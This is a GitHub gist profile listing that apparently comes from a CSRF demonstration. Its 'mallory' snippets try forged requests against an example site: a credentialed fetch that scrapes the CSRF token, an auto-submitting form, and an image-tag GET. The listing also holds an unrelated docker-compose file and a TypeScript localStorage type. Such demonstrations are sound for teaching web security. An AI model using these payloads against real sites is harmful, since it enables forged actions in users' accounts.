Skip to content

Instantly share code, notes, and snippets.

Avatar

W Shao SteveLTN

  • Stockholm, Sweden
View GitHub Profile
View site-mallory-attempt2.html
<script>
const url = 'http://site.alice.com/posts'
fetch(url, { method: "GET", credentials: 'include' }).
then((response) => response.text()).
then((body) => {
const re = new RegExp('<meta name="csrf-token" content="(.*)" />')
const csrfToken = re.exec(body)[1]
return csrfToken
View site-mallory-attempt3.html
<form class="new_post" id="new_post" action="http://site.alice.com/posts" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="">
<input id="submit-button" type="submit" name="commit" value="Create Post">
</form>
<script>
document.getElementById("submit-button").click()
</script>
View site-mallory-attempt4.html
<img src="http://site.alice.com/posts/create" alt="">
@SteveLTN
SteveLTN / docker-compose.yml
Created Sep 8, 2017
compose file with networks
View docker-compose.yml
version: '3'
services:
nginx:
networks:
- foo
networks:
foo:
# driver: xxx
@SteveLTN
SteveLTN / typedLocalStorage.ts
Last active Jun 15, 2020
A typed LocalStorage interface - with two versions
View typedLocalStorage.ts
// With a normal object type
type LocalStorage = {
user: {
email: string
age: number
}
company: {
name: string
}
}
You can’t perform that action at this time.